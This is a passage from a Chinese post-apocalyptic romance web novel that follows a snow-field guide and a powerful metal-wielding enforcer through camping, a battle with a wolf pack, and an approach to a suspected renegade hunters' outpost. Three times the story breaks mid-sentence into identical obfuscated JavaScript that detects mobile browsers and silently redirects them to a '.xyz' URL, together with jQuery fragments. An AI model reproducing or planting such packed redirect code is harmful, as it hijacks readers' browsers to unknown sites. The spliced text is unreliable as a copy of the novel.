“出手太慢了。刚刚我们差点就被冰网网住”。姜望柠坐在地上抱怨。 “哦。慢吗？如果不慢，我怎么知道你还有水系异能。”秦叙蹲下，笑着望向她。 姜望柠无语了，不想说话。被人看破是一件羞耻的事情。 姜望柠观察到，秦叙有金属系异能，可以改变金属的形态和速度，用来控制或打击对手，是天赋异禀的攻击型。 末世生存，人人都有所保留，不可能一开始就把自己会的异能展示给不熟悉的人，以防对方对症攻击。 秦叙把姜望柠扶起来，距离车还有一公里。 秦叙横抱起姜望柠，脚底的金属片发力，将两人拖起，离地面二十米高。 在空中向车方向飞去，不到一分钟就降落在了车旁。 “你现在的状态，也不适合开车了，我坐主驾吧。”秦叙将姜望柠安置在副驾，他坐进主驾，发动车暖气。“所以，我们现在去哪？” 这个家伙，正在一步一步试探姜望柠的底线。 现在，姜望柠知道，秦叙是都城执法者，有未知大小的空间，金属异能，可以攻击和辅助飞行。 秦叙知道，姜望柠是雪原导游，可以追踪百公里范围内的变异体，有初级水系异能。 两人对彼此展示出来的异能心知肚明，却又不肯再进一步谈论，好像隔着一层纸。 异能主要靠觉醒习得，觉醒的过程千差万别，跟人的意志有关。 异能发挥的等级有高有低，取决于使用人对异能的掌握程度，不是有了就能用，更不是有了就能剿灭变异体。 很明显，秦叙对金属异能的掌握能力，明显强于姜望柠对水系的掌握能力，甚至高了几个数量级，如果有具体数值体系的话。 姜望柠暂时还不清楚秦叙来这里的目的。 如果仅仅是需要三颗金色灵枢，大可以从猎人手里买，只需要花时间找卖家，价格跟聘请姜望柠做导游的价格差不多，完全没必要跟这她跑这一趟，浪费时间。 走一步，看一步吧。 毕竟曾经是同学，有这一层关系在，好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467502|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歹同学情谊，总不可能把她卖了吧。 再不济，大可以发动【碧水密语】异能，让他倒地不起，这个异能虽然能量微弱，但只要找到攻击点，用来脱困还是绰绰有余。 “现在去十公里外的空地，那里适合扎营休息。”姜望柠刚刚走了路，又费了力，准备安排休息。 “好。”秦叙脚踩油门，向目的地开去。 大海啸前，姜望柠还是社畜的时候，就对八小时工作制非常难熬。 她一天的正经思考工作时长，最多不超过两小时，太长就很耗费心力，很累。 其余时间，用来休息、发呆、躺着，恢复精力。 自从当了导游，可以自由安排行程后，她就坚定了多休息的行程设计理念，拒绝赶工。 一天只打一处变异体。因为打两处要赶路，打三处要加夜班。 姜望柠拒绝一切形式的加班。 合理安排剿灭行程，一天一个地点，舒舒服服。行程结束时，大家也都是精神饱满的状态。 “就是这里了。”姜望柠指示停车。 秦叙打量着这片林中空地，四周的白桦林矗立，树梢积雪被风吹落，纷纷扬扬。 姜望柠迅速清理积雪，平整地面，铺上防潮垫。 尽管很累，但一想到只需要劳动半小时，就能躺着休息，姜望柠加快了行动。 从车后备箱拿出帐篷，铝合金支架在寒冷中发出清脆的碰撞声。 姜望柠先固定四角，再用冰镐将防风绳深深钉入冻土。 帐篷外层是防水防风面料，内层是隔热材质，中间留有空气夹层，能形成有效保温屏障，在零下三十度保持室内温度。 姜望柠同时准备着取暖设备。 她展开折叠式太阳能板，调整角度对准低垂的冬日太阳。 虽然光照微弱，但足以给蓄电池充电。 帐篷四周布置了运动感应警报器，五十米外有红外线触发装置 一旦有中型以上动物接近就会发出高频声响。 帐篷内，她安置了电能加热器，仅巴掌大小，却能在零下环境提升帐篷内温度十度。 搭建睡眠区时，姜望柠铺上两个自动充气睡垫，隔绝地寒。 再铺上厚厚的羊毛毯，挂起太阳能灯，暖黄色的光芒洒满帐篷内空间。 姜望柠取来一个卡式炉，将通风口伸向外面。 放入车上带来的干柴，烧热后，将今天早上准备的糖醋排骨和西红柿炒鸡蛋铝饭盒架在炉子上加热。 饭和菜都烧热后，姜望柠招呼秦叙来吃。炉子换上烧水壶。 秦叙观望着姜望柠行云流水般搭建起帐篷、睡垫、炉子。 眼前是刚刚端上来，冒着热气的饭菜。 秦叙忽然感到一阵莫名的感动。 在这片荒芜而美丽的雪原上，她如此渺小。 却又如此能干，能在最严酷的环境中创造出一小片温暖与舒适。 秦叙接过热饭菜。他的空间里有数不清的果腹补剂，都比不上眼前的热饭菜。 炉上的水开了，热气在帐篷顶结成小水珠，帐篷外的世界零下二十五度，帐篷内温暖如春。 “现在休息睡觉了，明天早上八点起，再前往下一个目的地。”姜望柠吃完，安排了接下来的行程。 尽管天色还没暗下来，姜望柠拒绝特种兵行程，一天至少安排一半的时间用于修生养息。 两人的睡垫分别列在帐篷两侧。 “你带别的队出来，也是跟别的男人都睡在同一个帐篷的吗？”秦叙对姜望柠的工作细节很感兴趣。 “我会看人数带帐篷，一般是两个人一顶。我领的队一般都带有治愈异能的女性成员，我会跟女生睡。你这队只有你一个人，之前我从来没带过一个人的队。”姜望柠躺在睡垫上，已经不想说话，沉沉睡去。 秦叙隔着中间一米的距离，望着姜望柠的睡颜，陷入深思。 她究竟经历了多少事情？ 以前的她天真蠢萌，没心没肺，没有回应的情书都能连续写一年； 现在的她，工作效率高，续航能力弱，边界感极强，打工人姿态尽显无余。 她社会化的过程一定很辛苦。 她的【溯息】和水系异能是怎么得来的？ 她在雪原小镇是怎么把导游事业发展起来的？ 这趟结束后，她会愿意跟我一起去都城吗？ 我可以成为照顾她的那个人吗？ 5. 你昨晚打鼾 第二天早晨八点，姜望柠醒来，收起了包裹全身的【透明单人保护结界】。 跟【透明防毒防味面罩】一样，都是她在都城花大价钱买到的宝贝。这个保护结界可以保证一晚上安眠，如果有人触碰，会立马受到电击。 大海啸之后的末世科技树，有三分之一倾向于保守的防护作用，例如面罩、个人结界、防护服，这些防具普通人很容易买到，也是姜望柠干导游所得报酬的主要去向。 不容易买到的是剩下的三分之二，主要是攻击型伤害性武器，这些武器被严格保密，只有铁幕局少部分忠诚的执法者有机会见过，能占有和使用的更是少之又少。 跟少年时代的白月光重逢不到三天，姜望柠还不能完全信任他。 尽管秦叙毫不犹豫答应了姜望柠当导游的报价，尽管秦叙时常对她有些许表明好感的小动作，尽管秦叙名声在外是都城炙手可热的最强执法者。 末世时代，多小心一点总没错。今后两人是交叉线还是平行线也未可知，先稳当完成这一单再说。 与此同时，秦叙也醒了，心一起念，收起了帐篷外的【透明建筑结界】。 【透明建筑结界】是铁幕局的执法者军团出征才会用到的防护措施，主要用于夜间营地的安全保护。 【透明保护结界】可以防护导弹级别的穿透力，用来保护姜望柠的帐篷，简直是杀鸡用牛刀，高炮打蚊子。如果姜望柠知道昨晚秦叙给她的帐篷用上了这么高级的玩意，肯定会追问在哪里买的，势必要买到同款，给安全再加一层保障。 两人几乎同时醒来，都做了收起结界的动作，却互不知晓。 和年少时期，喜欢的人，在同一屋檐下，度过了一晚上。姜望柠异常兴奋，像是以工作的名义跟偶像出差一样。同时还要自我保护，避免误入歧途。姜望柠不能完全信任对方，因此使用了单人保护结界。 没有明确的心意，才是最好的心意。 “你醒了。”秦叙从掀开羊毛毯，从睡垫上起来，笑意绵绵看着姜望柠说：“你昨晚打鼾，知道吗？” 姜望柠知道自己有打鼾的习惯，但之前从来没有被自己带的队员投诉过打鼾噪音，因为白天姜望柠开车赶路，队员奋力剿灭变异体。晚上一到落脚点，大家都很疲惫，一沾枕头就能睡着，迅速沉浸到深层睡眠状态恢复精力，即使打鼾也影响不到彼此。 有的女性帐友打鼾比她声音还大，有时还能听到别的帐篷传来的鼾声，她也可以无视鼾声，安然入睡。 大海啸前，姜望柠跟丈夫一起生活的时候，姜望柠也问过丈夫，自己打鼾是否会影响到他。丈夫的回答，姜望柠记了很久。他说：“当然不会。小宝贝打鼾软软绵绵的，像安眠曲，像小猫叫，听着你的鼾声入睡，我反而更安心，睡得更香。”姜望柠听后，心花怒放，晚上睡觉再没侧身睡过，天天睡姿四仰八叉躺平。 据说侧身睡有助于呼吸通畅，减少打鼾。但姜望柠不喜欢侧身睡，只喜欢面朝天花板躺平。 都城的人果然是娇生惯养些，一点点鼾声都要说，但秦叙毕竟是给钱的甲方，反驳他绝对不行，给自己找借口也不体面。 姜望柠拿出成熟的职业态度，“不好意思，打扰到了。我车里还有一个帐篷，或者把靠背放平车里睡也行，秦叙大人今晚有多个选项，就不用跟我同一个帐篷了，这样能避免被我的鼾声吵到。”姜望柠为秦叙找了两个避免听鼾声的安置途径。 “明明有两个帐篷，为什么昨晚不拿出来？就这么想跟我同帐而眠吗？”秦叙止不住的笑意跃然眼底。 姜望柠像被戳中了小心思一样，瞬间一抹嫣色涌上两腮，“我只是不想再多铺一个帐篷而已，铺帐篷收帐篷很麻烦很累的，浪费工作量！” 秦叙一脸看破不说破的表情，“哈哈，我今晚还是跟你睡同一个帐篷。我喜欢听你打鼾，很有安全感。” 姜望柠觉得这话有点似曾相识，但又不想再辩。大清早，实在不该为打鼾这么小的事情拉扯半天，她转身去车上拿东西。 事实上，秦叙也没有说谎。作为都城最强执法者，他接受过的任务可以用刀山火海形容。比起一晚上的枪声、火炮声、变异体鸣叫、地震轰隆声、冰雹、沙尘暴来说，同伴打鼾简直是世界上最动人的入睡陪伴声。 有人在你身边打鼾，意味着都处在一个安全的入睡环境，意味着你给了这个打鼾的人安全感。更意味着打鼾的人信任你，把完全自己失去意识的脆弱一面交给你。 姜望柠昨晚给电饭锅定时，早晨七点开始自动加热的白米粥，现在已经煮熟。姜望柠从车载冰箱拿出皮蛋和瘦肉切成丝，随着盐加入电饭锅中，搅拌均匀。 继续煮肉的十分钟空挡，姜望柠将睡垫、灯、加热器、帐篷收起来，叠好放进车后备箱。 肉煮熟后，姜望柠用大瓷碗盛好满满两大碗，分别放上瓷勺。放在雪地上冷却到刚刚适合入口的热度，将一碗递给秦叙。 秦叙接过眼前的皮蛋瘦肉粥，闻一闻，气味非常熟悉，一勺接一勺吃完。 两人都喝完皮蛋瘦肉粥后，姜望柠用雪熔化的水将瓷碗和瓷勺洗干净，放回车后备箱。 收拾完后，昨晚的营地，像什么生活痕迹都没有一样，洁白一片。 两人吃饱喝足坐回车里，向第二天的目的地出发。 末世时代，中北国对异能的命名讲究实用和诗意。官方有专门负责定义异能的机构，并会对合理使用异能的人士给予补贴。像姜望柠的【溯息】就是上过官方异能指南的，正如其名，是用于追溯变异体气息的辅助系异能。 那么昨天秦叙展示的金属系异能也应该有官方命名。“你的金属系异能叫什么？”姜望柠边开车，边假装漫不经心问。 “怎么，想学吗？”秦叙坐在副驾座，反问道。 “我倒是想，关键是没有那个资质。现在后工业化时代，金属系异能算是五行异能之首，不是普通人想学就能学得会的。”姜望柠谦虚地表达学不了。 秦叙边看路便说：“它叫【鸣金絮语】，就是可以控制金属的形态和速度。理论上来说，只要力量够强，就可以将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467503|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边任何金属变成夺命利器。”秦叙解释完，继续问，“昨天看到，你能熔化大蜘蛛的冰网，这应该是水系异能，叫什么呢？” 秦叙只看到了冰棱蛛的冰网熔化，看不到冰棱蛛小脑脑干中的血液凝固。 他以为是，先有冰网熔化，才有冰棱蛛倒地。 实际上是，姜望柠先将冰棱蛛小脑脑干血液凝固，才导致的冰棱蛛倒地和冰网熔化。 没领悟到这层更好，这可是姜望柠的脱身绝技。 “叫【碧水密语】，还不太熟练，只能控制少量水的形态。还没办法给加速度。”姜望柠主张消息情报一换一，只回复同等级信息密度的内容。 这即是末世交友之道，你说多少我说多少，不过多暴露，也不完全封闭。 适量分享，展示诚意。不暴露老底，是为留个保命底牌。 “【碧水密语】？我记得铁幕局有个执法者也有这个水系异能。”秦叙好像想起来什么，“但是，我不记得他的名字了，只记得他被水力发电部借走了。水系太弱了，当后勤保障支撑还差不多，作为攻击系来说，不够。” 姜望柠觉得无语极了，他还是跟年少时那样目中无人，无视曾经自己的情书表白，无视别人辛苦习练的水系异能，真是一个大直男，一点点好话都不会说。 “你这么厉害，那你昨天自己不出手，还在等我出手，我们差点就被冰网困住了。”姜望柠想打压秦叙的气焰，不想让他太嚣张了，这样相处好累。 “那是想看看你有多厉害嘛。只有强者，才配当我的队友。”秦叙中二气质十足的发言，让姜望柠的白眼飞上天。 车开进了雪原深处，茫茫林海，反射出万籁寂静的洁白。车内气氛温暖，音乐不停。距离狼群流窜区域越来越近了。 车穿过林海，开到一片白色旷野。没有了树木的掩护，地上是一望无垠的厚厚积雪，人和车显得格外引狼注目。 第一声嚎叫撕开了这片寂静。悠长、粗犷，带着原始饥饿感的狼嚎从林海深处袭来。 第一声未绝，第二声、第三声便已加入，从四面八方涌来，迅速连成一片恐怖的哀嚎合唱。 视野所及的林海与旷野的界限处，一双双发绿光的眼神亮起，密密麻麻，数之不尽，如同森林中的鬼火，那是嚎狼的眼睛。 它们出现了。如大卡车轮胎般的体型，在界限处向车移动。灰白的皮毛与洁白的雪地融为一体。 它们不急于扑上，而是迈着缓慢又压迫的步伐，开始对秦叙和姜望柠形成包围圈。随后而来的嚎狼越来越多，内圈不断缩小，外圈还在扩张。 真正恐怖的并非狼群数量上的压制，而是令人心惊的哀嚎群唱。 嚎狼群的吟唱，带着古老的诅咒，高高低低、长短交错，奇异地契合着某种诡异的律动。 空气忽然开始震颤，冰冷的寒意从包围圈的最外围袭来，柔软的雪地瞬间凝固为坚硬的冰面。 这成千上百声的狼嚎，正在通过包围圈叠加、融合、放大，在圆心处形成一个无路可退的冰狱。 6. 嚎狼群 “这次，不要逼我出手，我没办法应付这么多狼。”姜望柠对昨天秦叙的不出手耿耿于怀，提前向他打好声明。 事实也是如此，姜望柠之前带的队，会挑数量少的狼群，最多十余只，一般配置的四人小队刚刚好能全剿灭，队伍力量还不受折损。 客户小队既能完成任务，又有恰到好处的成就感，狼群数量也不会骤然减少，后面还可以再带队来刷，你好我好大家好。 这次姜望柠特意引路到嚎狼老巢，面对的狼群数量至少有两百只，队伍也只有秦叙一个主力输出。 你昨天不是想看我的底牌吗？今天我也要看看你的底牌。你不是都城最强执法者吗？我想知道你究竟强到哪种程度。 如果能以一己之力全部剿灭，那我对你的敬意会再上一个台阶，我会毫无保留向你展示我的能力和忠心，希望能加入你和辅助你，只要给我这个机会。 如果不能，我也有办法逃离战斗现场，我会开车带你离开，你在我心中也不会再是高高在上的形象，也能切断这么多年我对你的不切实际的幻想。 “放心。我会保护好你的，你留在车上吧，不要下车。”秦叙不由分说，打开车门，踏上雪地。 副驾车门一关，整个车，包括里面的姜望柠，好似被一股力量提上天空，最终悬浮在距离雪地二十米的半空。 秦叙在用金属异能控制车辆升天，与狼群保持了空间隔断。 姜望柠打开车窗，头伸出去，向下望。空中的视角格外明显，狼群围成了一个包围圈，秦叙正站在圆心处。 一辆车有两吨重，他的金属异能能举起两顿重的车，同时还要兼顾攻击。姜望柠试过，自己最多能隔空抬起一公斤的水。 秦叙显然暂时顾及不到姜望柠这些小心思。他把脚底的一片精炼金属板化成箭头状，施以加速度，箭头的速度很快到达八百米每秒，像子弹一样。 秦叙稳稳站在中心圆点，手指微动。子弹般的箭头在嚎狼群中呈同心圆游走，圆的半径逐渐扩大，一圈又一圈。 子弹所到之处，狼群的嚎叫变成了哀嚎，绿色的鲜血在一只只变异狼的胸口喷薄而出。 姜望柠在空中，看到这诡异的一幕，内心充满惊恐。秦叙在控制金属箭头的速度和方向，让金属箭头以半径逐渐增大的同心圆轨迹，逐一穿透所有狼的心脏。 跟昨天剿灭冰棱蛛的手段，一模一样。只不过，今天更快、更狠、效率更高。 这一招真是百无禁忌，威力堪比几百架狙击枪同时扫射。关键是，他只有一个人和一个弹头。武器材料还能回收，重复使用。 这还怎么玩！！！姜望柠以为，两人不说是势均力敌，至少也是各有所长，优劣互补，没想到是实力碾压。他的攻击系异能足以支撑他在任何地方横行霸道。 以他的实力，会有源源不断的辅助系异能者主动提供服务，以期望获得共事的经历，为简历添砖加瓦，末世里人人都希望跟强者合作。她姜望柠甚至还要排队，被挑选，才能有幸服务他。 姜望柠扭捏的小心思开始作祟，强烈的不配得感涌上心头。 不到十分钟，之前声势浩大的嚎狼群，均倒在绿色的血泊之中。从变异狼身躯里上升起几百颗绿色灵枢，和零星几颗蓝色灵枢。秦叙单手一挥，这近似两个足球场范围内灵枢均被收入空间。 好家伙，怎么拾取范围也这么广啊！姜望柠跟他生活的是同一个末世吗？他是不是氪金玩家？他是不是穿书玩家？他是不是能修改这个世界的数值设定？ 新手空间异能者，是触摸物体才能收进空间。普通空间异能者，能隔空收取方圆五米内的物品。而秦叙，他可以直接捕获至少两个足球场内的物品，上限仍未知。 据姜望柠目前耳闻目睹所知，秦叙拥有顶级金属系异能【鸣金絮语】，和顶级空间异能。这也是支撑他成为都城最强执法者的底气。 如果能得到他的青睐，在末世的生存会容易很多。这一丝念头闪过，姜望柠立马感到羞耻。 秦叙连姜望柠高中时送出的情书都没有接受，又怎么会接受现在的寡居且偏安边境的她。以前的她，至少是心思单纯，现在却充满了现实的考量和算计。 车辆慢慢从高空下降，平稳缓和地落在雪地。并没有落到圆心，而是落在了外圈，是为了避免车轮沾上狼群的污血。姜望柠领会到了这个细心动作。 秦叙来开车门，坐进副驾，拿起中间的姜望柠的水瓶，一口灌下。刚刚结束战斗，消耗了体力，需要补充水分。 姜望柠还没来得及给新的未开封的瓶装水，自己的水就被秦叙一饮而尽。她选择无视。 “你比我想象中要厉害得多，真不愧是最强执法者。”姜望柠献上赞美，她通常会在战斗任务结束后，给予队员肯定，相当于心理按摩，之前的队员都很吃她这套。 秦叙歪过头，笑眯眯盯着姜望柠：“别恭维我。说得这么顺口，是不是对所有结束战斗的执法者都这么说。我知道，这是你的营业套路，不要用这些套路来应付我。”结尾竟然听出了一丝丝生气。 姜望柠想拍马屁，结果拍到了马蹄上。 果然还是一如既往不好接近，那就算了。完成这单，把本尊送走，还是继续雪原小导游的生活。就不该对他有所期待，他不是姜望柠可以肖想的人物，两人根本就不是一个等级的。 秦叙好像意识到了氛围有点不对劲，试图挽救：“谢谢你带我找到这里，这儿变异体数量密集，场地开阔，遮挡物少，最适合群攻，效率高。也只有你才能找到这儿，怪不得那么多人给我推荐你。” “你这不也是在恭维我吗？你是不是对所有服务过你的辅助异能者都这么说。”姜望柠敏感细腻，受不了一点，势必要还回去。 秦叙感受到了姜望柠的语言攻击，对他来说像挠痒痒，哈哈大笑起来。姜望柠愿意在她面前释放阴阳怪气的语言攻击，说明她还有生动活泼的一面。 “今晚住我的帐篷吧。就不需要你费力把车后面的帐篷展开，隔天还得花时间收拾，省点力气做菜。”秦叙看着姜望柠。 “先到营地再说吧。”姜望柠也很期待看到秦叙的帐篷长什么样。驾驶车钻入林海，继续开了十公里，到了一处山脉的底部。 “这里有个山洞，今晚在那里扎营。”姜望柠指了指山脚下的一个半敞开的大洞。洞高足足有十米以上，洞深也有十米。洞内地面也是茫茫白雪，洞外有一条溪流，溪流两岸满是积雪。溪流再远处都是披满白雪的杉树和松树。 姜望柠下了车，走进洞内，踢走小石头大石头，踩平整地面，对秦叙说，“就在这里吧。” 秦叙心一起念，一个正方形的小型木屋赫然出现在洞内。 “这能叫帐篷？！”姜望柠怀疑秦叙是不是分不清织物帐篷和豪华木屋的区别。 从外面看，木屋是由厚厚的原木竖直拼接而成，长宽都是五米左右。屋顶是平缓的等腰三角形结构。面朝小溪的是一扇透明玻璃落地窗，进入的门在旁侧。 秦叙推开门，请姜望柠先进去。姜望柠一脚迈入，有股混合了松木和柑橘的淡淡香薰气味扑面而来，瞬间融化了周身寒意。透过落地窗，外面的景色映入眼帘。 这种景色和配置的野外小木屋，如果是在大海啸前，旅游经济蓬勃上升的时期，挂民宿上至少可以卖到五千块钱一晚上。 木屋内陈设尽管不多，但件件都是精品。一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467504|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张一米二的小木床，床头背靠山洞内侧，面向洞外侧小溪。床上早已铺设好了柔软的床垫和羽绒被，羽绒枕。床边有一张直径一米保留着年轮的树桩茶几和两张矮矮的懒人椅。茶几上有十几根蜡烛亮着，跳动的暖黄色烛光，把小小的木屋空间衬托得格外温暖。 门这一侧，有一个石制壁炉，木头在里面燃烧作响，还有一根烟筒连接着壁炉与外面。木屋内的温度大概是二十摄氏度，与外面相差了四十度，落地窗外侧凝结了整面的小水珠。 “没想到，秦叙大人这么热爱生活。这小屋好精致，看着好舒服。有空间真爽，随时随地都能感受家一样的温馨。”姜望柠发出感叹。 “你睡这张木床。我睡你车上的自动充气睡垫。”话毕，秦叙就把不知道什么时候拿在手上的睡垫撑开，跟木床平行放置，中间隔着树桩茶几。 这么暧昧的空间氛围，不做点什么真是太可惜了，要是身边的人是她的丈夫就好了。大海啸前，姜望柠和她的丈夫每个月都会抽出一个周末，去附近自驾游，找特色民宿住一晚，当做平淡生活的调味。 可惜丈夫已经不在，可惜现在还处于工作状态，并不是旅游度假。 “秦叙大人为什么会收藏着这么温馨可爱的小木屋。跟你的气质完全不搭。”姜望柠好奇疑问。秦叙在她眼里是干练利落的战士形象，这个木屋代表着细腻柔软，不像是一个战士应该有的品味。 “在家具店看到的，觉得好看就买了。”秦叙回应。 “那你的空间里，是不是有很多，各种各样的小屋子，好方便在野外露营住宿。”姜望柠继续好奇。 “怎么，你想进去看看吗？”秦叙嘴角噙着一丝野性的笑，回道。 “不了不了，进了你的空间就任你宰割，这点常识我还是有的。”姜望柠摆手拒绝。 姜望柠从车载冰箱取出鲜鸡肉和小白菜。之所以把路程定为三天，是因为新鲜蔬菜的保存上限就是三天。 姜望柠麻利地准备好配菜，用电磁炉炒了一盘辣子鸡和一盘清炒白菜。放在树桩茶几上，正好饭也好熟了。盛了两碗饭，两人在桌边一起吃。 辣子鸡是下饭菜，秦叙连吃了两碗饭。饭毕，姜望柠烧了一壶开水，泡一大杯白桃乌龙茶递给秦叙。整个小屋空间又弥漫这桃香和茶香。 “这是白桃乌龙茶，咖啡因含量很低，晚上喝也不会睡不着觉。清爽解腻。”姜望柠像在带货一样，好像下一秒就要说出“今天只需要九十九块，大哥您就能带走三大包，都是小茶包分装，雪原望柠手作精品。”但是并没有，姜望柠只是单纯看秦叙吃的多，想分享一杯热茶消消食。 “这里怎么会有白桃乌龙，你自己做的吗？”现在轮到秦叙好奇了，她怎么像一个百宝箱，什么好东西都有。而且她还没有空间，这些东西怎么塞得进她小小的车。 “是的。大海啸前我就喜欢喝这茶。后来到这里，太偏了没有地方买，我就去订新鲜桃子，切丁烘干后，跟乌龙茶混合。你也喜欢的话，这趟行程结束后，我送你一些。”姜望柠热情分享了制作过程。 “好，一言为定。”秦叙礼貌回应。 洗漱完毕，蜡烛吹灭。姜望柠躺在小木床上，秦叙躺在旁边矮了一半的充气床垫上。两人都面对着前方的透明落地玻璃。 此刻夜幕降临，玻璃早已经变成了一片漆黑。姜望柠觉得有些不对劲，好像总有东西在外面偷窥。问了秦叙，两人都没有窗帘，只好无视这片黑玻璃。有他在旁边，应该不会有危险。 姜望柠想到今天跟秦叙的互动，给周身包裹上【透明单人保护结界】，心满意足地陷入深睡。秦叙掏出【透明建筑结界】，展开在小木屋周围，随后也安然睡去。 7. 叛变的猎人 清晨的阳光穿过落地窗，撒在姜望柠脸上。姜望柠感受到温意，收起保护罩，睁眼伸个懒腰，眼前的一幕让她尖叫出声。 玻璃窗外密密麻麻堆满了人高的雪人，圆滚滚的身体上堆着圆滚滚的头。数量至少有五十几个，一直延伸到视野尽头，统一面朝着小木屋。雪人眼睛是用松果镶嵌的，嘴巴用莓果摆成了微笑的弧线，手臂是杉树枝。好像在向屋里的人问好。 尖叫声吵醒了秦叙，秦叙想都没想，一步跨过树桩茶几，坐到木床上，双手抱着姜望柠。“没事的，没事的。有我在，不用怕。”秦叙安慰。 “大哥，你要不要看看窗外再说。”姜望柠惊魂未定，沉浸在突然的惊吓中，对秦叙突如其来的亲密举动，眉头微蹙。 秦叙转过头，同样看到了落地玻璃窗外的满地雪人，“噢，事情开始变得有趣起来。” “我在雪原干导游一年了，心已经比冻湖里的石头还要坚硬，我从来没有见到这么诡异的场景。咱们是在末世世界，又不是诡异世界。这么多雪人，到底是谁堆的？昨晚是有什么东西在监视我们吗？”姜望柠给出初步怀疑。“是不是昨天的狼消灭得太多，触发了某种未知的诅咒？” 秦叙放开姜望柠，闻着手上残留的奶香，眼神满是回味，“我们先出去看看。” 木屋内室温有二十几度，两人都是穿着秋衣秋裤入睡的。姜望柠穿着一身粉色秋衣秋裤，柔软贴身，外面叠加毛衣和羽绒服，像一个毛茸茸的猫猫卡车。秦叙则穿着一身灰色秋衣秋裤，倒三角肩和凸起显露地明目张胆，直接套上工装套装，休闲利落。 秦叙收起建筑保护结界，推开门，两人出去后。秦叙心念一转，小木屋消失不见，原地只剩一块方方正正的空石子地。 姜望柠施展【溯息】，发现周围虽然没有变异体的气息，但是存在一种不同寻常的能量场，信号微弱但分布广泛。 从雪人身上开始，一直绵延几公里，都有这种气息。“我们已经进入了霜骸神像的领地。”姜望柠推测。 “这个霜骸神像，到底是什么。它也是活的变异体吗？”秦叙问。 “从来没有人见过霜骸神像的真实面目。有人猜测林海雪原这片古老的地底，存在着某种客观规律。但是大海啸末世来临，变异体流窜，打破了规律。” “霜骸神像的出现，是为了扭转这种异常，它试图将雪原环境校准到大海啸以前的状态。”姜望柠解释。 “你都没有见过，怎么确定剿灭霜骸神像可以得到蓝色灵枢，还有1%概率得到金色灵枢。”秦叙疑惑。 “放心。三颗金色灵枢是一定可以完成的。昨天你收获了至少三百颗绿色灵枢。十绿换一蓝，十蓝换一金，我带你去雪原小镇炼金师那里转化。” “哈？还能这样？”秦叙被姜望柠的活跃思维震撼到了。因为都城禁止灵枢转化，所有炼金师都被驱逐出都城。 “要是舍不得已经到手的绿色灵枢的话，我还可以带你去雪原黑市，找金色灵枢卖家收三颗，现在的市场价大概三万信标一颗。算在我的导游费里。”姜望柠甚至给出了方案二。 “可是这趟导游劳务费总共十万，你只赚一万，不是白忙活了吗。”秦叙哭笑不得。 “没办法。谁叫我夸下海口呢。我只想跟你达成合作。只要有了跟都城最强执法者的合作战绩，我以后再跟别人谈也有底气些，所以你这单我少赚甚至不赚都可以。”姜望柠倒也坦诚。 起先，秦叙还担心，姜望柠一个人寡居在边境雪原小镇，会不会生活得很艰难。现在看来完全多虑了。 她有初级水系异能，可以简单保护自己。她的脑子也很活络，对雪原很熟悉，善于利用规则，不会陷入困境。 她甚至还想借秦叙的势，进一步发展自己的导游事业。她绝对不是任人宰割的小绵羊，她是一只雄赳赳气昂昂的小老虎。 “来都来了，霜骸神像邀请我们进入它的领地，说不定我们会成为第一个第二个见过霜骸神像真面目的人。”秦叙坚持继续探索。 两人走向雪人，凑近细细观察。明明只是由雪和植物堆成，却像有生命一样，尤其是那诡异的微笑弧度。 “你先待在原地，我上去看看。”秦叙丢下一个直径一米圈圈，框住姜望柠，起身飞向一百米高的半空，视野足够覆盖方圆十公里。 姜望柠试图走出圈圈，被弹回来，这家伙，是想保护还是想禁锢呢？ 不到五分钟，秦叙落下来，“西北方向五公里，有一个大木屋，烟囱有烟飘出，可能有本地人，我们去看看。” “不要去!!”姜望柠拒绝。 “为什么？如果有人的话，直接问人，说不定能收集更多有用情报。”秦叙不解。 “那栋大木屋，以前是小镇的雪原腹地联络点，专门给在一线做任务的执法者或猎人补给用的。”姜望柠顿了顿。 “可是两个月前，联络点和小镇的通讯中断，同一时间，很多进入深林做任务的小队都迟迟不回，可能已经遭遇不测。有幸存回来的一两个猎人，都受了重伤，口证直指联络点。齐镇长怀疑，有流窜的叛变猎人袭击占领了那里，甚至极有可能已经杀害了一些猎人，掠夺了别人的灵枢资源。小镇也发了公告，要求暂时不要前往。齐镇长正在向都城请求派兵支援。” “总之是个很危险的地方，不知道叛变的猎人有多少。比起变异体，还是人更可怕。”姜望柠继续解释。 “那就更得去了。我不就是都城的兵吗。”秦叙面无表情。“走，上车，打火。” 车开到大木屋门前，除了姜望柠这一辆车，剩余的交通工具只有六匹马，有专门的马厩牵引。说明里面至少有六个人。 